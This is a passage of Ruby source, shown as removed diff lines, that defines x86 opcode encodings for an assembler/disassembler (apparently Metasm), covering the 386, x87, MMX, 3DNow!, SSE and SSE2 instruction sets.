- addop_macro1 'and', 4, :unsigned_imm - addop 'bswap', [0x0F, 0xC8], :reg - addop 'call', [0xE8], nil, :stopexec, :setip, :i, :saveip - addop 'call', [0xFF], 2, :stopexec, :setip, :saveip - addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } - addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } - addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } - addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } - addop_macro1 'cmp', 7 - addop_macrostr 'cmps', [0xA6], :stropz - addop 'dec', [0x48], :reg - addop 'dec', [0xFE], 1, {:w => [0, 0]} - addop 'div', [0xF6], 6, {:w => [0, 0]} - addop 'enter', [0xC8], nil, :u16, :u8 - addop 'idiv', [0xF6], 7, {:w => [0, 0]} - addop 'imul', [0xF6], 5, {:w => [0, 0]} # implicit eax, but different semantic from imul eax, ebx (the implicit version updates edx:eax) - addop 'imul', [0x0F, 0xAF], :mrm - addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i - addop 'inc', [0x40], :reg - addop 'inc', [0xFE], 0, {:w => [0, 0]} - addop 'int', [0xCC], nil, :imm_val3, :stopexec - addop 'int', [0xCD], nil, :u8 - addop_macrotttn 'j', [0x70], nil, :setip, :i8 - addop_macrotttn('j', [0x70], nil, :setip, :i8) { |o| o.name << '.i8' } - addop_macrotttn 'j', [0x0F, 0x80], nil, :setip, :i - addop_macrotttn('j', [0x0F, 0x80], nil, :setip, :i) { |o| o.name << '.i' } - addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec - addop 'jmp', [0xFF], 4, :setip, :stopexec - addop 'lea', [0x8D], :mrmA - addop 'leave', [0xC9] - addop_macrostr 'lods', [0xAC], :strop - addop 'loop', [0xE2], nil, :setip, :i8 - addop 'loopz', [0xE1], nil, :setip, :i8 - addop 'loope', [0xE1], nil, :setip, :i8 - addop 'loopnz',[0xE0], nil, :setip, :i8 - addop 'loopne',[0xE0], nil, :setip, :i8 - addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :reg_eax, :mrm_imm - addop('mov', [0x88], :mrmw,{:d => [0, 1]}) { |o| o.args.reverse! } - addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :i, :unsigned_imm - addop 'mov', [0xC6], 0, {:w => [0, 0]}, :i, :unsigned_imm - addop_macrostr 'movs', [0xA4], :strop - addop 'movsx', [0x0F, 0xBE], :mrmw - addop 'movzx', [0x0F, 0xB6], :mrmw - addop 'mul', [0xF6], 4, {:w => [0, 0]} - addop 'neg', [0xF6], 3, {:w => [0, 0]} - addop 'nop', [0x90] - addop 'not', [0xF6], 2, {:w => [0, 0]} - addop_macro1 'or', 1, :unsigned_imm - addop 'pop', [0x58], :reg - addop 'pop', [0x8F], 0 - addop 'push', [0x50], :reg - addop 'push', [0xFF], 6 - addop 'push', [0x68], nil, {:s => [0, 1]}, :i, :unsigned_imm - addop 'ret', [0xC3], nil, :stopexec, :setip - addop 'ret', [0xC2], nil, :stopexec, :u16, :setip - addop_macro3 'rol', 0 - addop_macro3 'ror', 1 - addop_macro3 'sar', 7 - addop_macro1 'sbb', 3 - addop_macrostr 'scas', [0xAE], :stropz - addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } - addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused - addop_macro3 'shl', 4 - addop_macro3 'sal', 6 - addop 'shld', [0x0F, 0xA4], :mrm, :u8 - addop 'shld', [0x0F, 0xA5], :mrm, :reg_cl - addop_macro3 'shr', 5 - addop 'shrd', [0x0F, 0xAC], :mrm, :u8 - addop 'shrd', [0x0F, 0xAD], :mrm, :reg_cl - addop_macrostr 'stos', [0xAA], :strop - addop_macro1 'sub', 5 - addop 'test', [0x84], :mrmw - addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :i, :unsigned_imm - addop 'test', [0xF6], 0, {:w => [0, 0]}, :i, :unsigned_imm - addop 'xchg', [0x90], :reg, :reg_eax - addop('xchg', [0x90], :reg, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) - addop 'xchg', [0x86], :mrmw - addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } - addop_macro1 'xor', 6, :unsigned_imm - end - - def init_386_only - init_cpu_constants - - addop 'aaa', [0x37] - addop 'aad', [0xD5, 0x0A] - addop 'aam', [0xD4, 0x0A] - addop 'aas', [0x3F] - addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } - addop 'bound', [0x62], :mrmA - addop 'bsf', [0x0F, 0xBC], :mrm - addop 'bsr', [0x0F, 0xBD], :mrm - addop_macro2 'bt' , 0 - addop_macro2 'btc', 3 - addop_macro2 'btr', 2 - addop_macro2 'bts', 1 - addop 'call', [0x9A], nil, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0x9A], nil, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0xFF], 3, :stopexec, :setip, :saveip - addop 'clc', [0xF8] - addop 'cld', [0xFC] - addop 'cli', [0xFA] - addop 'clts', [0x0F, 0x06] - addop 'cmc', [0xF5] - addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } - addop 'cpuid', [0x0F, 0xA2] - addop 'daa', [0x27] - addop 'das', [0x2F] - addop 'hlt', [0xF4], nil, :stopexec - addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax - addop 'in', [0xEC], nil, {:w => [0, 0]} - addop_macrostr 'ins', [0x6C], :strop - addop 'into', [0xCE] - addop 'invd', [0x0F, 0x08] - addop 'invlpg', [0x0F, 0x01, 7<<3], :modrmA - addop('iretd', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 32 } - addop_macroret 'iret', [0xCF] - addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 16 } - addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } - addop 'jmp', [0xEA], nil, :farptr, :setip, :stopexec - addop 'jmpf', [0xEA], nil, :farptr, :setip, :stopexec - addop 'jmpf', [0xFF], 5, :stopexec, :setip # reg ? - addop 'lahf', [0x9F] - addop 'lar', [0x0F, 0x02], :mrm - addop 'lds', [0xC5], :mrmA - addop 'les', [0xC4], :mrmA - addop 'lfs', [0x0F, 0xB4], :mrmA - addop 'lgs', [0x0F, 0xB5], :mrmA - addop 'lgdt', [0x0F, 0x01], 2, :modrmA - addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA - addop 'lldt', [0x0F, 0x00], 2, :modrmA - addop 'lmsw', [0x0F, 0x01], 6 -# prefix addop 'lock', [0xF0] - addop 'lsl', [0x0F, 0x03], :mrm - addop 'lss', [0x0F, 0xB2], :mrmA - addop 'ltr', [0x0F, 0x00], 3 - addop 'mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec - addop 'mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed - addop 'mov', [0x0F, 0x24, 0xC0], :reg, {:d => [1, 1], :eeet => [2, 3]}, :eeet - addop 'mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3 - addop 'movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] } - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax - addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments - addop 'out', [0xEE], nil, {:w => [0, 0]} - addop_macrostr 'outs', [0x6E], :strop - addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A - addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A - addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } - addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } - addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } - addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } - addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 - addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A - addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } - addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } - addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } - addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } - addop_macro3 'rcl', 2 - addop_macro3 'rcr', 3 - addop 'rdmsr', [0x0F, 0x32] - addop 'rdpmc', [0x0F, 0x33] - addop 'rdtsc', [0x0F, 0x31], nil, :random - addop_macroret 'retf', [0xCB] - addop_macroret 'retf', [0xCA], :u16 - addop 'rsm', [0x0F, 0xAA], nil, :stopexec - addop 'sahf', [0x9E] - addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA - addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA - addop 'sldt', [0x0F, 0x00], 0 - addop 'smsw', [0x0F, 0x01], 4 - addop 'stc', [0xF9] - addop 'std', [0xFD] - addop 'sti', [0xFB] - addop 'str', [0x0F, 0x00], 1 - addop 'test', [0xF6], 1, {:w => [0, 0]}, :i, :unsigned_imm # undocumented alias to F6/0 - addop 'ud2', [0x0F, 0x0B] - addop 'verr', [0x0F, 0x00], 4 - addop 'verw', [0x0F, 0x00], 5 - addop 'wait', [0x9B] - addop 'wbinvd',[0x0F, 0x09] - addop 'wrmsr', [0x0F, 0x30] - addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } - addop 'xlat', [0xD7] - -# pfx: addrsz = 0x67, lock = 0xF0, opsz = 0x66, repnz = 0xF2, rep/repz = 0xF3 -# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 - - # undocumented opcodes - addop 'aam', [0xD4], nil, :u8 - addop 'aad', [0xD5], nil, :u8 - addop 'setalc',[0xD6] - addop 'salc', [0xD6] - addop 'icebp', [0xF1] - #addop 'loadall',[0x0F, 0x07] # conflict with syscall - addop 'ud0', [0x0F, 0xFF] # amd - addop 'ud2', [0x0F, 0xB9], :mrm - #addop 'umov', [0x0F, 0x10], :mrmw, {:d => [1, 1]} # conflicts with movups/movhlps - end - - def init_387_only - init_cpu_constants - - addop 'f2xm1', [0xD9, 0xF0] - addop 'fabs', [0xD9, 0xE1] - addop_macrofpu1 'fadd', 0 - addop 'faddp', [0xDE, 0xC0], :regfp - addop 'faddp', [0xDE, 0xC1] - addop('fbld', [0xDF, 4<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop('fbstp', [0xDF, 6<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fchs', [0xD9, 0xE0], nil, :regfp0 - addop 'fnclex', [0xDB, 0xE2] - addop_macrofpu1 'fcom', 2 - addop_macrofpu1 'fcomp', 3 - addop 'fcompp',[0xDE, 0xD9] - addop 'fcomip',[0xDF, 0xF0], :regfp - addop 'fcos', [0xD9, 0xFF], nil, :regfp0 - addop 'fdecstp', [0xD9, 0xF6] - addop_macrofpu1 'fdiv', 6 - addop_macrofpu1 'fdivr', 7 - addop 'fdivp', [0xDE, 0xF8], :regfp - addop 'fdivp', [0xDE, 0xF9] - addop 'fdivrp',[0xDE, 0xF0], :regfp - addop 'fdivrp',[0xDE, 0xF1] - addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp - addop_macrofpu2 'fiadd', 0 - addop_macrofpu2 'fimul', 1 - addop_macrofpu2 'ficom', 2 - addop_macrofpu2 'ficomp',3 - addop_macrofpu2 'fisub', 4 - addop_macrofpu2 'fisubr',5 - addop_macrofpu2 'fidiv', 6 - addop_macrofpu2 'fidivr',7 - addop 'fincstp', [0xD9, 0xF7] - addop 'fninit', [0xDB, 0xE3] - addop_macrofpu2 'fist', 2, 1 - addop_macrofpu3 'fild', 0 - addop_macrofpu3 'fistp',3 - addop('fld', [0xD9, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fld', [0xDD, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fld', [0xDB, 5<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fld', [0xD9, 0xC0], :regfp - - addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fldenv', [0xD9, 4<<3], :modrmA - addop 'fld1', [0xD9, 0xE8] - addop 'fldl2t', [0xD9, 0xE9] - addop 'fldl2e', [0xD9, 0xEA] - addop 'fldpi', [0xD9, 0xEB] - addop 'fldlg2', [0xD9, 0xEC] - addop 'fldln2', [0xD9, 0xED] - addop 'fldz', [0xD9, 0xEE] - addop_macrofpu1 'fmul', 1 - addop 'fmulp', [0xDE, 0xC8], :regfp - addop 'fmulp', [0xDE, 0xC9] - addop 'fnop', [0xD9, 0xD0] - addop 'fpatan', [0xD9, 0xF3] - addop 'fprem', [0xD9, 0xF8] - addop 'fprem1', [0xD9, 0xF5] - addop 'fptan', [0xD9, 0xF2] - addop 'frndint',[0xD9, 0xFC] - addop 'frstor', [0xDD, 4<<3], :modrmA - addop 'fnsave', [0xDD, 6<<3], :modrmA - addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fnstenv',[0xD9, 6<<3], :modrmA - addop 'fnstsw', [0xDF, 0xE0] - addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fscale', [0xD9, 0xFD] - addop 'fsin', [0xD9, 0xFE] - addop 'fsincos',[0xD9, 0xFB] - addop 'fsqrt', [0xD9, 0xFA] - addop('fst', [0xD9, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fst', [0xDD, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop 'fst', [0xD9, 0xD0], :regfp - addop('fstp', [0xD9, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fstp', [0xDD, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fstp', [0xDB, 7<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fstp', [0xDD, 0xD8], :regfp - addop_macrofpu1 'fsub', 4 - addop 'fsubp', [0xDE, 0xE8], :regfp - addop 'fsubp', [0xDE, 0xE9] - addop_macrofpu1 'fsubp', 5 - addop 'fsubrp', [0xDE, 0xE0], :regfp - addop 'fsubrp', [0xDE, 0xE1] - addop 'ftst', [0xD9, 0xE4] - addop 'fucom', [0xDD, 0xE0], :regfp - addop 'fucomp', [0xDD, 0xE8], :regfp - addop 'fucompp',[0xDA, 0xE9] - addop 'fucomi', [0xDB, 0xE8], :regfp - addop 'fxam', [0xD9, 0xE5] - addop 'fxch', [0xD9, 0xC8], :regfp - addop 'fxtract',[0xD9, 0xF4] - addop 'fyl2x', [0xD9, 0xF1] - addop 'fyl2xp1',[0xD9, 0xF9] - # fwait prefix - addop 'fclex', [0x9B, 0xDB, 0xE2] - addop 'finit', [0x9B, 0xDB, 0xE3] - addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA - addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA - addop 'fstsw', [0x9B, 0xDF, 0xE0] - addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fwait', [0x9B] - end - - def init_486_only - init_cpu_constants - end - - def init_pentium_only - init_cpu_constants - - addop('cmpxchg8b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 32 ; o.props[:argsz] = 64 } - # lock cmpxchg8b eax - #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] - - # mmx - addop 'emms', [0x0F, 0x77] - addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 32 } - addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.props[:argsz] = 64 } - addop 'packssdw', [0x0F, 0x6B], :mrmmmx - addop 'packsswb', [0x0F, 0x63], :mrmmmx - addop 'packuswb', [0x0F, 0x67], :mrmmmx - addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx - addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx - addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx - addop 'pand', [0x0F, 0xDB], :mrmmmx - addop 'pandn', [0x0F, 0xDF], :mrmmmx - addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx - addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx - addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx - addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx - addop 'pmulhw',[0x0F, 0xE5], :mrmmmx - addop 'pmullw',[0x0F, 0xD5], :mrmmmx - addop 'por', [0x0F, 0xEB], :mrmmmx - [[1..3, 'psll', 3], [1..2, 'psra', 2], [1..3, 'psrl', 1]].each { |ggrng, name, val| - addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx - addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :regmmx, :u8 - } - addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx - addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx - addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx - addop_macrogg 1..3, 'punpckh', [0x0F, 0x68], :mrmmmx - addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx - addop 'pxor', [0x0F, 0xEF], :mrmmmx - end - - def init_p6_only - addop_macrotttn 'cmov', [0x0F, 0x40], :mrm - - %w{b e be u}.each_with_index { |tt, i| - addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp - addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp - } - addop 'fcomi', [0xDB, 0xF0], :regfp - addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop 'sysenter',[0x0F, 0x34] - addop 'sysexit', [0x0F, 0x35] - - addop 'syscall', [0x0F, 0x05] # AMD - addop_macroret 'sysret', [0x0F, 0x07] # AMD - end - - def init_3dnow_only - init_cpu_constants - - [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A], - ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], - ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], - ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], - ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], - ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], - ['pmulhrw', 0xB7]].each { |str, bin| - addop str, [0x0F, 0x0F, bin], :mrmmmx - } - # 3dnow prefix fallback - addop '3dnow', [0x0F, 0x0F], :mrmmmx, :u8 - - addop 'femms', [0x0F, 0x0E] - addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA - addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA - end - - def init_sse_only - init_cpu_constants - - addop_macrossps 'addps', [0x0F, 0x58], :mrmxmm - addop 'andnps', [0x0F, 0x55], :mrmxmm - addop 'andps', [0x0F, 0x54], :mrmxmm - addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm, :u8 - addop 'comiss', [0x0F, 0x2F], :mrmxmm - - addop('cvtpi2ps', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } - addop('cvtps2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } - addop('cvtsi2ss', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } - addop('cvtss2si', [0x0F, 0x2D], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } - addop('cvttps2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } - addop('cvttss2si',[0x0F, 0x2C], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } - - addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm - addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA - addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm - addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm - addop 'movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]} - addop 'movhlps', [0x0F, 0x12], :mrmxmm, :modrmR - addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}, :modrmA - addop 'movlhps', [0x0F, 0x16], :mrmxmm, :modrmR - addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}, :modrmA - addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg - addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } - addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} - addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm - addop 'orps', [0x0F, 0x56], :mrmxmm - addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm - addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm - addop 'shufps', [0x0F, 0xC6], :mrmxmm, :u8 - addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm - addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA - addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm - addop 'ucomiss', [0x0F, 0x2E], :mrmxmm - addop 'unpckhps',[0x0F, 0x15], :mrmxmm - addop 'unpcklps',[0x0F, 0x14], :mrmxmm - addop 'xorps', [0x0F, 0x57], :mrmxmm - - # integer instrs, mmx only - addop 'pavgb', [0x0F, 0xE0], :mrmmmx - addop 'pavgw', [0x0F, 0xE3], :mrmmmx - addop 'pextrw', [0x0F, 0xC5, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx, :u8 - addop 'pinsrw', [0x0F, 0xC4, 0x00], nil, {:modrm => [2, 0], :regmmx => [2, 3]}, :modrm, :regmmx, :u8 - addop 'pmaxsw', [0x0F, 0xEE], :mrmmmx - addop 'pmaxub', [0x0F, 0xDE], :mrmmmx - addop 'pminsw', [0x0F, 0xEA], :mrmmmx - addop 'pminub', [0x0F, 0xDA], :mrmmmx - addop 'pmovmskb',[0x0F, 0xD7, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx - addop 'psadbw', [0x0F, 0xF6], :mrmmmx - addop 'pshufw', [0x0F, 0x70], :mrmmmx, :u8 - - addop 'maskmovq',[0x0F, 0xF7], :mrmmmx, :modrmR - addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.args.reverse! } - addop('movntps', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! } - addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA - addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA - addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA - addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA - addop 'sfence', [0x0F, 0xAE, 0xF8] - - # the whole row of prefetch is actually nops - addop 'nop', [0x0F, 0x1C], :mrmw, :d => [1, 1] # incl. official version = 0f1f mrm - addop 'nop_8', [0x0F, 0x18], :mrmw, :d => [1, 1] - addop 'nop_d', [0x0F, 0x0D], :mrm - addop 'nop', [0x0F, 0x1C], 0 # official asm syntax is 'nop [eax]' - end - - def init_sse2_only - init_cpu_constants - - @opcode_list.each { |o| o.props[:xmmx] = true if o.fields[:regmmx] and o.name !~ /^(?:mov(?:nt)?q|pshufw|cvt.*)$/ } - - # mirror of the init_sse part - addop_macrosdpd 'addpd', [0x0F, 0x58], :mrmxmm - addop('andnpd', [0x0F, 0x55], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('andpd', [0x0F, 0x54], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop_macrosdpd 'cmppd', [0x0F, 0xC2], :mrmxmm, :u8 - addop('comisd', [0x0F, 0x2F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('cvtpi2pd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0x66 } - addop('cvtpd2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } - addop('cvtsi2sd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } - addop('cvtsd2si', [0x0F, 0x2D], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } - addop('cvttpd2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } - addop('cvttsd2si',[0x0F, 0x2C], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } - - addop('cvtpd2ps', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('cvtps2pd', [0x0F, 0x5A], :mrmxmm) - addop('cvtsd2ss', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('cvtss2sd', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - - addop('cvtpd2dq', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('cvttpd2dq',[0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('cvtdq2pd', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('cvtps2dq', [0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('cvttps2dq',[0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('cvtdq2ps', [0x0F, 0x5B], :mrmxmm) - - addop_macrosdpd 'divpd', [0x0F, 0x5E], :mrmxmm - addop_macrosdpd 'maxpd', [0x0F, 0x5F], :mrmxmm - addop_macrosdpd 'minpd', [0x0F, 0x5D], :mrmxmm - addop('movapd', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - - addop('movlpd', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - addop('movhpd', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - - addop('movmskpd',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg) { |o| o.props[:needpfx] = 0x66 } - addop('movsd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF2 } - addop('movupd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - addop_macrosdpd 'mulpd', [0x0F, 0x59], :mrmxmm - addop('orpd', [0x0F, 0x56], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('shufpd', [0x0F, 0xC6], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop_macrosdpd 'sqrtpd', [0x0F, 0x51], :mrmxmm - addop_macrosdpd 'subpd', [0x0F, 0x5C], :mrmxmm - addop('ucomisd', [0x0F, 0x2E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('unpckhpd',[0x0F, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('unpcklpd',[0x0F, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('xorpd', [0x0F, 0x57], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0x66 } - addop('movdqu', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0xF3 } - addop('movq2dq', [0x0F, 0xD6], :mrmxmm, :modrmR) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0xF3 } - addop('movdq2q', [0x0F, 